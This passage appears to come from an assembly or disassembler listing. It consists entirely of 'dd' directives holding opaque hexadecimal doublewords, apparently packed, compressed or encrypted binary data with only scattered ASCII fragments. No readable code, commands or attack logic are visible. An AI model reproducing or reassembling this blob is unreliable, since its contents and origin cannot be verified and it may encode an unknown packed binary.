		dd 6A65AF5Bh, 1E46728Ch, 43B99944h, 0A58B7D89h,	0EF9C13C0h
		dd 0EC830600h, 0FB8D810h, 78207B96h, 90100B9h, 6531F3E8h
		dd 2B0F27B6h, 6FAA56B0h, 2499E0C4h, 595350h, 448CDD58h
		dd 70FF1B1Ah, 0C4060C00h, 33B8040Dh, 891200D9h,	5B3936E2h
		dd 551F2CA2h, 807AE011h, 0AD05D354h, 91F849h, 6CC88925h
		dd 0A34A2471h, 0A540400h, 3870B506h, 47640027h,	3B74A607h
		dd 8D000583h, 85E1D11Bh, 188A910h, 6AE48661h, 0C0953F1Ch
		dd 0C8002C97h, 6B7C818Fh, 0A5FA10h, 0E8067525h,	6602EBEDh
		dd 1C453303h, 0F115FC51h, 0CDF86010h, 77190074h, 7204583Bh
		dd 8010A67h, 0C0705A4h,	0F5E0C975h, 0B0360084h,	0EEE7F432h
		dd 0F0095EBh, 8A129166h, 19A810h, 0EF755CC2h, 6FB8F844h
		dd 64B05B00h, 0C94BC4B3h, 0A3300034h, 9D747A68h, 130F6A82h
		dd 871B7501h, 84D0C3EFh, 7A88214Ch, 53CF022h, 9D7D83F4h
		dd 5598C0C2h, 85001018h, 5077CDB1h, 0F6B9D36Dh,	0A43400F4h
		dd 8C12A515h, 450043E8h, 356536E9h, 371C8Dh, 3ADC3880h
		dd 1780F08h, 0E0EEEDFDh, 700015D5h, 0E814025Bh,	6633D7h
		dd 823B8013h, 8D26EA0Fh, 0A76A3Dh, 0B747C53Dh, 565DD6h
		dd 0F96C34Ch, 2752BF3h,	1468D0Fh, 6268C0AAh, 844BE8h, 39554C64h
		dd 0C749F8CEh, 936F400h, 1F8203D0h, 90FA0081h, 618F0FA4h
		dd 40488B92h, 3348002Eh, 35C65203h, 0B61C0765h,	0C75CC3E1h
		dd 744450E3h, 0C274DEC7h, 0E9856703h, 0A88921DBh, 72047E2h
		dd 3A2CD4CFh, 0C203E056h, 4EE03D40h, 0C6487F00h, 33A13584h
		dd 43A9035Ch, 40AC4C41h, 37A7F090h, 3030976h, 20DF7285h
		dd 0FF5FA8C7h, 2A0200D2h, 590B5D1Ah, 6B0EC1CCh,	0C06E7265h
		dd 321D336Ch, 7B643C2Eh, 920FF594h, 6F673C70h, 61500073h
		dd 4E7468EEh, 51006D7Dh, 0A8231441h, 0FFEE010h,	71A75292h
		dd 40FFE3CEh, 0C68F60ABh, 0E100EE45h, 68D9467Bh, 24BDE03Fh
		dd 87DC91h, 10F801C5h, 1E3974B1h, 7023004Eh, 0C47275E2h
		dd 64210052h, 71014B46h, 361D0EE8h, 6000C7B1h, 92B2A5C3h
		dd 6F903FD4h, 6400EB3Bh, 967AC5ABh, 58007352h, 784B1A37h
		dd 906850h, 0FC3DB3DAh,	466BF053h, 0BF16A60Fh, 0C793001Eh
		dd 0E892AB34h, 6A230B43h, 0EC803305h, 2BEB038Ch, 261B6F0Ch
		dd 0F61811h, 2113BD80h,	0BEAF0A48h, 0F37D9307h,	678EF90Ch
		dd 9FE0CEEEh, 22D12h, 0BD486D23h, 3250E52h, 26783Ch, 2E2C754Bh
		dd 0E8102904h, 0F09500C9h, 6D74820Ah, 3D008E43h, 0AF5115F6h
		dd 755329h, 47AB021Ch, 0D6B63392h, 4613147Ah, 0C9004C69h
		dd 89265B8Fh, 73041E20h, 0A92443F5h, 0E0DBC6C9h, 666F5380h
		dd 61777400h, 0CA655F72h, 0DE48001Ch, 0FEF9633Fh, 0D83D9173h
		dd 0FBEB802Bh, 6E232938h, 10BC1F13h, 0A1FA80A4h, 0F8357F14h
		dd 38858700h, 0B5213912h, 0A4707CFh, 0E0242758h, 1322A654h
		dd 0B1E2040Fh, 9BC2A088h, 6F6621h, 753958E7h, 0E5B6C74Eh
		dd 0A6385C00h, 0BFA37756h, 3490009Bh, 0FDCF51D9h, 64031019h
		dd 0B5ADA648h, 8FE8C0E0h, 0D3371F49h, 0FC863FA2h, 5205503Bh
		dd 230C5100h, 0EB45A1C2h, 0E73E81Fh, 0BC34E8Bh,	553BC880h
		dd 0E413B4FCh, 2E030A37h, 0E0068E4Fh, 48EAFA2Dh, 0C20FAD6Eh
		dd 9A2C0A6h, 0CB41FCEEh, 0F13DCCE3h, 80047B38h,	2A7D3E81h
		dd 0AB15A68h, 998438Bh,	0B3E803EAh, 50727B99h, 6F0CBC00h
		dd 0F3F4120Ah, 0E87F47Ch, 0CDE31328h, 0C0A7C845h, 89582A2h
		dd 3C00F178h, 0AC042512h, 48E09378h, 1000B62Ah,	8D520C06h
		dd 4A000EBAh, 214BC22h,	2993E8h, 0E6A2D272h, 11C98E7Dh
		dd 6DF81F00h, 1DF1F35Eh, 0B18B0051h, 1A7EA256h,	3C00C9EDh
		dd 0AEB77DF2h, 52AAE9h,	62BB4433h, 21590504h, 0F7EB3400h
		dd 9612CADh, 76747FB0h,	745B48E8h, 49017500h, 0DC76DA19h
		dd 894C3001h, 6CB0C46h,	17FF20h, 45C3B12Dh, 9B480B74h
		dd 2EFC207Dh, 3AC0E900h, 4BB8621Ah, 0F2BA0380h,	40B95F31h
		dd 1C46C7D0h, 65D6E800h, 827A079h, 50C4FA18h, 0B80FE502h
		dd 29C00313h, 62491778h, 4424A0F7h, 14002018h, 597E8088h
		dd 222648h, 0FB96B2AEh,	10510F99h, 7060520Ch, 852046h
		dd 0FF32DA53h, 8920EB3Ch, 7E810600h, 8BB3042Ah,	63A600B8h
		dd 4EFF1FA3h, 0EA0050EEh, 7BE82836h, 44C874h, 812D8CC9h
		dd 6A96730Bh, 46E12C07h, 0AB303950h, 5CAD2Ah, 0B1D58990h
		dd 968D1361h, 7C2EB900h, 4736FF24h, 0A85A0165h,	0D68B2280h
		dd 5CFD86Eh, 0BC074C79h, 1A1D0906h, 85405B80h, 2A8801F9h
		dd 4AC2572Bh, 15472019h, 8023A33Dh, 22EB5D0Ah, 1491C6h
		dd 8AB29554h, 0F66A5840h, 5E0F617Eh, 2083E8F5h,	3B5374B4h
		dd 0B1223FB0h, 6FC91781h, 607E316Bh, 20736C0h, 0FA480775h
		dd 5EE4B1E0h, 0A47CC3h,	23246D7Ch, 69B81188h, 0E9EB0402h
		dd 809881A2h, 0DBF08BB3h, 0A488008Dh, 49CF9092h, 2403D414h
		dd 0EEDB108h, 4BCAE0EAh, 143148E4h, 5C181A00h, 1C149FB3h
		dd 4CE41190h, 7A3E2400h, 1B13549Ah, 0B08200B5h,	87D882Ah
		dd 0F80E1C90h, 200AAE11h, 75CDFE07h, 0C30B02A4h, 8A94DE28h
		dd 4FBABFC0h, 0E6F34Ch,	0EF461CD3h, 20C30Eh, 0F718AFA6h
		dd 0E9B767B8h, 0A97231Dh, 0E479254Fh, 7580961Ah, 3C2AA1D8h
		dd 0E8950EAh, 0B400FA83h, 85541977h, 6032198h, 132453E1h
		dd 41C5E94Eh, 98042CD4h, 0FC480E0Fh, 0F0C015EFh, 5CC04B3Fh
		dd 784A81E4h, 1A750A00h, 73BB9A4h, 0A573E3C3h, 8A3D50F8h
		dd 80011109h, 48302F9h,	0E1F46B42h, 1D70FFC1h, 0B822000Dh
		dd 0B046A868h, 9C0FC41Ah, 600A3D32h, 81412919h,	0EBBF0074h
		dd 764850DEh, 58005216h, 0B472114Ch, 0EC04C601h, 40FF001Ah
		dd 816656F3h, 13005830h, 0F8425290h, 263C494Eh,	0ED51FFAh
		dd 6F60D23Dh, 0DBF2724Ch, 62B45E00h, 0B0FAE8F1h, 95AC00DDh
		dd 3AC2484Fh, 6500F426h, 104B8339h, 203CA2Bh, 7CF080C4h
		dd 0A1808A1Fh, 3A9B3C42h, 0D701172h, 60AA062Eh,	1EBEE00h
		dd 122B4A33h, 3B8930h, 64CEA7D2h, 5B1EDBB6h, 0AC0BAD4h
		dd 0CDEB5837h, 43C30EACh, 0CFE0850Ch, 6930C235h, 8797743Fh
		dd 0FC5AE45Bh, 0E13D9B12h, 0E5701877h, 120F1DF1h, 27B9C00Ah
		dd 4B35FF05h, 0BCC60C00h, 58F08904h, 24ED0198h,	4084B073h
		dd 0E2E8700Ah, 76805A00h, 45E89C6h, 56FF1D17h, 4587C718h
		dd 0B8942069h, 76007166h, 6F47BAF1h, 75BE77h, 0B7070FB2h
		dd 0B045B3C8h, 21C5F507h, 1E903347h, 90FC2E75h,	2803007Eh
		dd 4987B8BBh, 600452Bh,	1167FD1h, 7DC5A30Eh, 421900F4h
		dd 5F4CA4F3h, 59503302h, 100DA85h, 915D7A62h, 0B6E3D06h
		dd 0AB75A04Eh, 39F6C780h, 5800D050h, 49A6595Ah,	3B77426h
		dd 95772BCDh, 0B87807D6h, 0BA258E0Eh, 83750060h, 0EA7E40F9h
		dd 0E9071F21h, 0B951C004h, 4A27269Ah, 1E773F00h, 0D7532C7h
		dd 7ED5015Bh, 608F0464h, 1AC3E4FFh, 3FDC7100h, 2812F825h
		dd 0EC0E3DA1h, 0CB802BBBh, 2F820B7Eh, 44E874D1h, 0F1875A0Bh
		dd 1D2D00F5h, 0AEA0BAh,	542B7EBDh, 3B90E91Fh, 89DB520Fh
		dd 3FDD201Eh, 580809F3h, 8213B67Dh, 63490017h, 56C3EB15h
		dd 10D38400h, 0E22B5A27h, 121403CBh, 0C928B5CAh, 0E9428688h
		dd 69C75300h, 8D368158h, 55FF0E51h, 0B967C17Ah,	5A6CC001h
		dd 0E202A4AAh, 0F04C49A9h, 7B0DE020h, 40950483h, 0C1AEF2F4h
		dd 0D349D125h, 21ED6C00h, 2C663B97h, 0D7F60012h, 0ABA63790h
		dd 0E000209Fh, 4574487Ch, 71416CBh, 7F8DD5A2h, 0F29C02Bh
		dd 5F001FE2h, 2CDB92C0h, 4F6855h, 0DE011990h, 0ECE8C1C9h
		dd 4224B201h, 3D620F16h, 9E18FCh, 3318C50h, 800422B3h
		dd 340045E0h, 0C3158451h, 0EA48D8F7h, 4442007Dh, 3001F9E2h
		dd 0B0EE0B3h, 0CB473198h, 0C7670752h, 2DA3C3E0h, 6577005Eh
		dd 70EED93Dh, 150001A4h, 0A7FFF80h, 0EE13FC8h, 1C4002A0h
		dd 840542E0h, 770008FAh, 380C9C72h, 7A47C350h, 0F424000Fh
		dd 9680C012h, 8C7A1698h, 0BEBC200Fh, 6B286119h,	16A61CEEh
		dd 80951F7Ah, 43B7E16Fh, 0C0023BAh, 0D4A50410h,	0FE800DE8h
		dd 84E7002Ah, 14A39174h, 0E6F4F4F0h, 2DB52800h,	31A0020Ah
		dd 0E35F18A9h, 8BF3C30h, 8E1BC900h, 2EC54034h, 7CA258BCh
		dd 76FA3700h, 0B6B3A0Eh, 3E91DE38h, 234400E8h, 883E8AC7h
		dd 4AC0162h, 0AD78EBC5h, 7A80C041h, 26B71701h, 44D8D710h
		dd 1AC90C0h, 8678326Eh,	30484087h, 0A0357B5h, 0A968163Fh
		dd 0EDA1804Bh, 0CE0703CCh, 4ED3C21Bh, 1484A0C8h, 5161F800h
		dd 527A5976h, 0A5C80407h, 0C0B99019h, 0A0556724h, 200F3A0Fh
		dd 8F27E0F4h, 0C358CECBh, 0F894093Eh, 3F3978D8h, 875C813Dh
		dd 36B90BE5h, 8FD1D7B7h, 0DFEC5FA1h, 467004Eh, 0F2C9CD1Ch
		dd 8300629Eh, 45812296h, 1C6F7CF8h, 3F657AFCh, 2B70B500h
		dd 9DC5ADA8h, 1697F00h,	0FFCFA6D5h, 781F0E49h, 0C314B6BDh
		dd 16C59B03h, 0EF80B3ABh, 0E001413Dh, 0A48E98Ch, 93E4BAE4h
		dd 24AAE0A8h, 0E78E617h, 0B60516A1h, 55718012h,	8D093927h
		dd 70F70Fh, 0C9304093h,	0FFE33D3Ch, 8A529681h, 838E49E7h
		dd 0EBFB9D9Ch, 5152007Eh, 6A2F8C43h, 0F00195Ch,	0BBD226FCh
		dd 1EE37640h, 8029F2CCh, 7D817C84h, 0A141C44h, 0A4DB90h
		dd 406F9FA4h, 1F8AA17h,	0E30F10AEh, 0ECFAC4C5h,	0B01C9C59h
		dd 0DD002AE9h, 4564F28Ah, 0F7F300D4h, 4AE1EB03h, 0CF0F957Ah
		dd 0A7A262D1h, 0D800DC07h, 39B83Eh, 0E91C746h, 0A0AEA603h
		dd 0A3E31900h, 750C17D0h, 86812C39h, 48C9002Ah,	93A7E44Dh
		dd 353BF0E1h, 0EDB2B800h, 5D1CE553h, 0FDC5003Dh, 929E8B80h
		dd 0F000A65Ah, 0C02001A1h, 0F8CA554h, 0E5FB6137h, 5D259D01h
		dd 0DBF9C089h, 0F3F86700h, 7BA2BF27h, 80CAC0C8h, 20979B6Eh
		dd 28A38h, 25C46052h, 59F075h, 562FCD5h, 0CAAE3511h, 3F857B00h
		dd 0F7144EFAh, 0B33B007Dh, 0CB0413C8h, 0C1FE964h, 7F80BC03h
		dd 59D109A8h, 70C207E2h, 7023A508h, 5E8C2855h, 5C00B07Fh
		dd 4C914197h, 0B18D0h, 875C91Dh, 0DE74D20Fh, 58F8DBF0h
		dd 0A791001h, 0EEDAF726h, 73883ECh, 1CF3673h, 0D97E8334h
		dd 20E9DB91h, 8B75C16Fh, 3582CE00h, 0E75B906h, 0E0D100F6h
		dd 0D68ED24Eh, 3B0ED7C0h, 870B72FDh, 0F3700477h, 382B051Dh
		dd 40001B1Fh, 0F75BE7E2h, 0B301B1C3h, 4607740Ah, 0F7205669h
		dd 0F3E003E5h, 0E8EBD233h, 0F08B5BD0h, 0C023980Eh, 0FE832008h
		dd 5875FFh, 0B0FCA11h, 5B3981F2h, 5F18000h, 481C2478h
		dd 0FFDA00C3h, 0E8048237h, 0ED30F8D9h, 0ABAA462Bh, 2FE42EA8h
		dd 0F882681h, 8B40835Ah, 0A77B9EDAh, 5D64F300h,	47565948h
		dd 0C8EE07h, 0F07E25BEh, 0F495725Ch, 0CA92AC07h, 7520F2F5h
		dd 42CC88h, 2F3344DCh, 85844F80h, 251520Fh, 40400FABh
		dd 9C7C20F9h, 302C00F1h, 0D81C051Ah, 0AB07B8C3h, 0FE2D331h
		dd 2A60A510h, 5CFB0EE0h, 0C121061Ch, 708B1FFAh,	9900E6FCh
		dd 38F8D333h, 3B487FADh, 303F5EF9h, 0E8000EBEh,	395364DAh
		dd 2500AFEAh, 7E75F448h, 9D5442h, 5E24054Bh, 0C93793C1h
		dd 2C383500h, 535CAC92h, 317F000Ah, 0C1F096Fh, 0F9031474h
		dd 0FC2B7A81h, 0EC10F873h, 50F230A5h, 0D81754DCh, 57F81A00h
		dd 703C685Dh, 83FA42h, 0F01212Dh, 0CC2ABCE1h, 8A309201h
		dd 2299B355h, 3D3CF0h, 0DE605C6h, 43460E02h, 1F0044F8h
		dd 0E8C76603h, 0AF9D6Ch, 287F34A7h, 92A40901h, 897058h
		dd 4991410h, 0ECA78056h, 98EB00E8h, 2940693Fh, 541F4BFAh
		dd 2A050A90h
		dd 5D80877Eh, 1A5A6Bh, 697947F3h, 5F76139Bh, 22302D00h
		dd 9DAB7CBAh, 3AE500F9h, 0F4AF25Dh, 0D07B25Ah, 472CA31Bh
		dd 9001BBE0h, 84280015h, 204838DBh, 0C201F229h,	94345577h
		dd 0D660CBF3h, 0B8090092h, 0FC114710h, 0F8008891h, 0F072F4E4h
		dd 90CEC39h, 8B82F53h, 8343CC00h, 0CC033D2Ah, 197DE0D7h
		dd 25E2F00Ah, 0D22E00E8h, 1C8368A8h, 0E175406Ah, 987B4503h
		dd 0D8A50C02h, 0AEB1Fh,	2D31A153h, 3D0D8B43h, 0E01D8900h
		dd 78156B19h, 83784Fh, 2F2893E8h, 1CD422A3h, 56E75403h
		dd 0E0A531B3h, 5771E14h, 32157CC5h, 0D04CC74Eh,	8B730A3Bh
		dd 282B2903h, 0A8CD191Fh, 581246h, 548E0B2Dh, 318A4C9Bh
		dd 1DC80D00h, 1442058Bh, 0FF600084h, 15F66428h,	6D182C6Bh
		dd 0AD04C382h, 4F34176Eh, 80B71E5Bh, 7A17E022h,	0D903E612h
		dd 0E3535A88h, 0AEE2A0B6h, 0D4A100C5h, 8A7B3448h, 0CD00C48Bh
		dd 0D88E6927h, 0B4E641h, 8900460h, 0CAA8A10Ah, 0EA31300h
		dd 0BA4B80Ch, 0EB2503E8h, 8466937h, 94047BC8h, 4B13BA00h
		dd 75F998B1h, 25EE6Eh, 9E9D5014h, 764D8BC9h, 5328A200h
		dd 20D53AEDh, 0C10CE627h, 0EC908458h, 0C55B204Fh, 0D835FF00h
		dd 0BCB93D14h, 331C014Eh, 54CC2524h, 790BCC99h,	3401577Bh
		dd 932DC45h, 69E480C4h,	0EB601EA6h, 0A49ECF10h,	722413C0h
		dd 99282004h, 2309EE08h, 149118h, 7C0CE47Ah, 478E1EA8h
		dd 40A05EA4h, 3998729Ch, 90691C94h, 0F07FFE1Ah,	6C009170h
		dd 64E468C8h, 98396072h, 22586132h, 60502354h, 4800C819h
		dd 407244E4h, 601C3C39h, 23342238h, 2C009130h, 0B4E4B8C8h
		dd 3BB072h, 0FC319382h,	0A6F8104Ch, 0F4470800h,	0EC91F023h
		dd 9FE800CFh, 10E494A1h, 802E0CAh, 0D872DC64h, 0D0464139h
		dd 23CC5E80h, 0DEC491C8h, 0F8CE100h, 3D207B7h, 10E200C1h
		dd 0B0C3C20Bh, 4F98A1E8h, 0B62F9300h, 90AE01CCh, 7FE10181h
		dd 187BD521h, 4914DC05h, 57780800h, 64487710h, 5387000Ch
		dd 517F90FDh, 1AB80F8Fh, 697C9717h, 4C459501h, 4770F909h
		dd 0B1465080h, 0A2423A3Ch, 0E7641A83h, 898F06Ah, 0C83EF111h
		dd 72F300F2h, 1CF539F4h, 0F7C8C0F6h, 0F991F823h, 0E4FAC800h
		dd 39FC72FBh, 0FE1C0EFDh, 0E08CFF8Eh, 2303E12Ah, 0C8E391E2h
		dd 72E588E4h, 0E73900E6h, 0CF21E81Ch, 0E901884Bh, 32EAC5D7h
		dd 0E20EB18h, 0ED1C30ECh, 0EF23EE42h, 0C8D09100h, 72D2E4D1h
		dd 0E83B75D3h, 0D6390CD5h, 0D82AD71Ch, 91D92301h, 0E4DBC8DAh
		dd 39DDC040h, 0DF1C20DEh, 0C123C000h, 0C3C8C291h, 72C401E4h
		dd 1CC639C5h, 722BEC7h,	0CA91C923h, 0CCE4CB50h,	39CD0472h
		dd 0CF1CCEh, 91B123B0h,	0B3C824B2h, 39B58111h, 80B71CB6h
		dd 0B923B822h, 0C8BA91h, 72BCE4BBh, 1CBE39BDh, 12A0BF40h
		dd 9BA122h, 705CC165h, 431E23E8h, 1EBC848Fh, 425E082Ah
		dd 65209F03h, 0E75BD8FEh, 0AC901DCFh, 0C29C032h, 4B103CBAh
		dd 0AA1FFC7Fh, 51400E2Ah, 0F62F0501h, 2AB0FEh, 65637845h
		dd 0A6D13A70h, 805D883Ah, 8B530A7h, 1C8A1020h, 0C0685CD4h
		dd 817E2423h, 651F4845h, 5B037061h, 0ABE45790h,	95809CB2h
		dd 0C015E2h, 754F450Ch,	66017473h, 6D654D00h, 3A79726Fh
		dd 9520001Ch, 0A9E95C5Eh, 91EAB840h, 450BD4F5h,	0DD6E4909h
		dd 3FEE0EBDh, 588E989Dh, 48EF8390h, 2F0C9066h, 28400F74h
		dd 0D8A06C61h, 0B258F057h, 4C6030B0h, 2D12C484h, 846C0523h
		dd 817E5F50h, 0F0756020h, 10165209h, 35010E65h,	47F658A8h
		dd 79043CD0h, 0F01F642h, 76694445h, 415A7900h, 90016FBBh
		dd 585E60C1h, 0EED4109Ch, 2C00048h, 676E6152h, 9DFD1965h
		dd 7700C820h, 8210C92h,	4076014Fh, 6F6C66AFh, 2B74F44Dh
		dd 0D95CB41Ch, 64221DC0h, 0FC0C20E9h, 1E0A7EBFh, 0B9063B3h
		dd 0F38F7AD5h, 688461A0h, 940B2E60h, 7626B4h, 4F64691Eh
		dd 0D2902A70h, 0BE07F193h, 5B92B740h, 0C237B4C0h, 0E74F1FBCh
		dd 61F16C4Ch, 14D4C1A4h, 9A1F0062h, 0D0084740h,	520A6E55h
		dd 0EE3A5964h, 6C76AB28h, 0D188E500h, 8760220Fh, 4F6F0450h
		dd 81854A36h, 0D044F649h, 301DB90Ch, 97D567Eh, 8C433Ah
		dd 63E98D01h, 7542F4AFh, 0C01D0024h, 6F43450Dh,	0B002BAD4h
		dd 80A2D858h, 0A00543BDh, 0EACC4Ch, 41451005h, 7388C363h
		dd 0E0568A00h, 0B9616C89h, 0BC2A1E8Eh, 40F64047h, 26F42CB1h
		dd 325048h, 1656C8Bh, 503890E4h, 0C084CA64h, 0E803B0Ah
		dd 74005345h, 6B632661h, 67905081h, 4064A294h, 1109C93Bh
		dd 20747003h, 0A7EF6C6Bh, 58AFEC30h, 52E864h, 5684C83Bh
		dd 390D8761h, 8A04512h,	0D4FC8D00h, 58EA5C40h, 0C51E2449h
		dd 0BD59C02Dh, 23614609h, 8D646F0Eh, 0B260C057h, 7FE41DA8h
		dd 8462030Eh, 738572D9h, 490BDE8h, 839C6655h, 41491F0Ah
		dd 4365D2ACh, 8F60E074h, 0B289E7E4h, 890C8112h,	0C4002A1Eh
		dd 8D70E3DCh, 6903FFh, 59242552h, 0FDAA7ECh, 0C1C20100h
		dd 0F76610EAh, 5DF407F3h, 0D0F9ED08h, 0B0130693h, 0BD04D809h
		dd 0B2768010h, 4CEDA1FEh, 37003E74h, 525A6CCFh,	5C00212Bh
		dd 6A69B3A9h, 29EA84h, 10236DAFh, 2CA66706h, 1B409D00h
		dd 44B7C38Bh, 4DEE00EDh, 0B3E58F5h, 5B016D47h, 0D70D3D28h
		dd 4BF8FC67h, 3AEB00E1h, 0B04A2ADAh, 0C91690A5h, 0B1005388h
		dd 0EBA80996h, 0D2D900DDh, 89DC520Fh, 390716C1h, 47AC76D1h
		dd 0F3C9003Eh, 12A74A6h, 95FF5E8Ah, 70627852h, 770F7A94h
		dd 0C07D4855h, 0A120DC7Fh, 0A0C2703Bh, 0FB38F5h, 300FD874h
		dd 0D706C3B6h, 69D02900h, 31DFAE5Bh, 2EEA003Ch,	64EFADD4h
		dd 2A00ED58h, 43A0E66Eh, 7CF33Bh, 6807307h, 7620FF1Fh
		dd 0A16F40Eh, 0C58B407Dh, 0EB6192h, 2A914E17h, 6CF83037h
		dd 0CB2BCE00h, 0D3674175h, 99330073h, 575AD0DEh, 6A002187h
		dd 51A65F09h, 0E44E08C6h, 0C16F03B8h, 67E4BAC2h, 604FEBE0h
		dd 1AFB0501h, 6844BDD8h, 2502C8h, 54F7644Ah, 1E036669h
		dd 0E7890800h, 0F90FC685h, 4D4F0010h, 6818BAE2h, 0F8FE31B2h
		dd 0AD0049E2h, 0F062B034h, 0F829016Ah, 0B2640054h, 10240CDBh
		dd 860067E8h, 557550BAh, 12F3B91h, 3822F5D5h, 402E1004h
		dd 0C4F278E2h, 3A3F9400h, 0F4DAE445h, 0EE6A2E96h, 0A9F0001Bh
		dd 795990AAh, 19E5F100h, 0ED4B405Eh, 0F4263868h, 0DFEA503h
		dd 51F01F8Ch, 0D90197F0h, 89153D65h, 0BCC8F5Ch,	842401D4h
		dd 0EB66ECA1h, 0AFE8D490h, 43CC5600h, 9F0C62C6h, 5FFE4Ch
		dd 0D4D68251h, 993537AAh, 5A880207h, 32079D6Eh,	31566910h
		dd 3EF83F84h, 40E7C39Dh, 747F588Ah, 5C7C1228h, 9AEFF00h
		dd 6B291B50h, 3F840002h, 4461765Bh, 884CEE0Eh, 75400E9Fh
		dd 3802403Ch, 8C4F06h, 7C7FFF85h, 0CCD99DC7h, 0FAACCF00h
		dd 0B815D39Fh, 697970h,	2658E711h, 560580F0h, 4DB90102h
		dd 0E1BA7FCDh, 0C73F692Fh, 0B38069D4h, 0E4CCE884h, 0AA0014E8h
		dd 9213D353h, 0A32CFACh, 24F40852h, 70FC00E5h, 0A40F45E3h
		dd 12FB307h, 33D06DF7h,	3D3A20D2h, 0AFAE19E8h, 0B6F400AEh
		dd 0FA0E3816h, 1ADD3E00h, 0A0E7DC0Dh, 0CE00130h, 729F2DB0h
		dd 0A639600Eh, 58441A00h, 104686C2h, 5BC30012h,	0BDE6127h
		dd 29005E90h, 9697C714h, 7BC2516h, 0FEB818E8h, 98C8D013h
		dd 0EC0099E3h, 34D6373Bh, 16AFCAA4h, 11B080h, 0E9C13A95h
		dd 0A6004D9Fh, 38BED1D2h
		dd 0F08BFFAEh, 0FD6E0021h, 0DEEECE22h, 7600EF5Eh, 36404A3Ch
		dd 73FC5FCh, 27895657h,	7FF7405Ch, 9D06E7D1h, 0F899CA9Bh
		dd 2447FAB8h, 0D6B5Eh, 0CBA3501Bh, 0B0004C4Eh, 54C105F6h
		dd 78410175h, 2DAA0029h, 5AD91996h, 783D1785h, 0DFB0067h
		dd 0D83B622Eh, 9FDA00C0h, 50127DC5h, 0D000A928h, 597A8E90h
		dd 15A5F25h, 802AF4D3h,	0D0C6AACAh, 67003164h, 21D20BFFh
		dd 8A249Eh, 13F80246h, 99E823ACh, 0B057E53Ch, 0EA2112FAh
		dd 94613920h, 985D9E03h, 0CA9883A8h, 10EE097Ch,	95543200h
		dd 6444A7D9h, 573A0E47h, 506012ACh, 86405C3Dh, 0D0885F03h
		dd 98E16392h, 67503h, 4648F82Eh, 766CCCA2h, 97299800h
		dd 0BCBAB662h, 55DC00EAh, 0ABD447CBh, 1872F88Ch, 6BF9C000h
		dd 0F20ACC88h, 951200E8h, 0C41A10E6h, 78F8779Fh, 0D90070FCh
		dd 0FBF2F87Dh, 761F0Eh,	0AB9BBB05h, 944A8C26h, 8E7B9000h
		dd 4B9FBC01h, 9DC400DFh, 0E8D602CBh, 0A6F259FBh, 3C1C1900h
		dd 20A864FFh, 6AA028Bh,	0F0CF22CBh, 61F056C3h, 6C0524B1h
		dd 8F9A289Ch, 62B01E87h, 0F732E76Fh, 0A8DAADCh,	60537BE2h
		dd 558C0094h, 5D892082h, 16297F00h, 3CE1FA2h, 7D510068h
		dd 0B22890FCh, 612C8C5h, 0CC0012F4h, 0CE390E16h, 0ACB01CA1h
		dd 0CB254920h, 4476C100h, 4C3FEB28h, 0E90D002Bh, 0BF845FF7h
		dd 6430031h, 0FEBAEAE8h, 0EC730C88h, 1CEB4500h,	575302Dh
		dd 0ACDA1E31h, 5CF100E8h, 3A7FD25Ah, 340A6E03h,	0F8C825D8h
		dd 1DFEB31h, 22BBE414h,	0C42E6440h, 0B40F2919h,	9C2649h
		dd 0DC75C3E0h, 0A6525851h, 5AFBCD04h, 0A08D80EEh, 6000273h
		dd 7D80DB31h, 727C9AEBh, 12CA000Ah, 42D10104h, 8758A4ACh
		dd 570C1FFDh, 0E948F7Ah, 0E99D009Ah, 3C610ABAh,	0C6004454h
		dd 5A18A104h, 9E7F8B59h, 15D8331Dh, 302AF880h, 0E80A2274h
		dd 803C0072h, 37097739h, 0C0F7DB6Bh, 6C003BE4h,	12AC0B6h
		dd 3E5080C3h, 1A0B9403h, 0D68AE958h, 46178Dh, 1277A7DEh
		dd 1077D4FFh, 390C093Dh, 26B3807Ch, 0AB74EA1Ch,	4F1F0086h
		dd 24C2ACDCh, 0C12488DFh, 6E029DFFh, 0E070523Ch, 75015Ah
		dd 0DE348D0Ch, 4A0F06D8h, 43F0B60Fh, 669D8024h,	0F4406Dh
		dd 0AA08CC6Eh, 7F88C111h, 0F1816F00h, 41276112h, 4A1800CAh
		dd 2102C604h, 93C2564h,	34D08E7Bh, 6919C066h, 2C0111BEh
		dd 3FE87Dh, 0B955D39Dh,	0DC074D87h, 97D5D129h, 5D8DA330h
		dd 20120061h, 0F29D1399h, 53007368h, 44F9800Bh,	0B0C8D074h
		dd 2A600EB4h, 40DE580Ah, 826FB4B9h, 0F70023EBh,	1E575243h
		dd 157480h, 48831B4Dh, 0F95BFBC3h, 24FAE800h, 2D02B04Fh
		dd 884E1F41h, 90F7C006h, 4B758DDBh, 0F1AF3Fh, 9D038BCCh
		dd 785848h, 92598043h, 60EAE2BDh, 723AE900h, 2907C383h
		dd 1E161E4Eh, 27033942h, 9DDBC89h, 0CA75D080h, 0AF4D8D00h
		dd 91A1F129h, 0E3B72E0h, 39907654h, 0AEA7842h, 0D330F660h
		dd 0F17B100h, 8F4257B5h, 22111E15h, 3D854010h, 93ACE092h
		dd 90017E0h, 0F70E79C0h, 29E8D8h, 51875E81h, 65997E9Fh
		dd 637B4B14h, 23EA0F90h, 53D180CEh, 3E0BA88h, 520191FEh
		dd 0D1DF220Fh, 0F055A9C2h, 0F8ED89B0h, 0EF0008FDh, 3C96245Bh
		dd 42EB05h, 2122C931h, 0F9042BB0h, 0A280AC0Fh, 1235C0C8h
		dd 38BCBEh, 5DD5D1Dh, 0E391CCDh, 93005279h, 0F0713B13h
		dd 6AD6B7h, 0EBCA5D5Fh,	7C95170Bh, 9053400h, 0EABA74F6h
		dd 3B710001h, 6F77E04Dh, 0C01901Ah, 0D605091h, 2FC2A65h
		dd 0E3291C97h, 0F24F8033h, 5FB686F9h, 5040411Ch, 45C78880h
		dd 1C52E04Bh, 0DF0431E9h, 0B7FC4086h, 274EB01h,	6E98E103h
		dd 0C047EFB3h, 1FF3F77h, 0DF450E9Dh, 0E5029038h, 4440EE46h
		dd 4E047E03h, 114DF5C8h, 4B31AC0h, 7773FCB8h, 139EC92h
		dd 0BA2576C2h, 0E08A4BB5h, 0C3001B75h, 0F5F41509h, 8B0291h
		dd 3BABE8Ch, 0F87B832Dh, 2229B81Ch, 53260FC0h, 0B886FA50h
		dd 46F201E3h, 0A9E8CF0Bh, 0C155207Dh, 462873Eh,	0D9AB50C3h
		dd 736FF680h, 0FD4F035h, 2024B211h, 34E6BF40h, 9600F1FAh
		dd 63824BD5h, 7B7D59E3h, 900C0111h, 0CE2E0809h,	0E8D7F830h
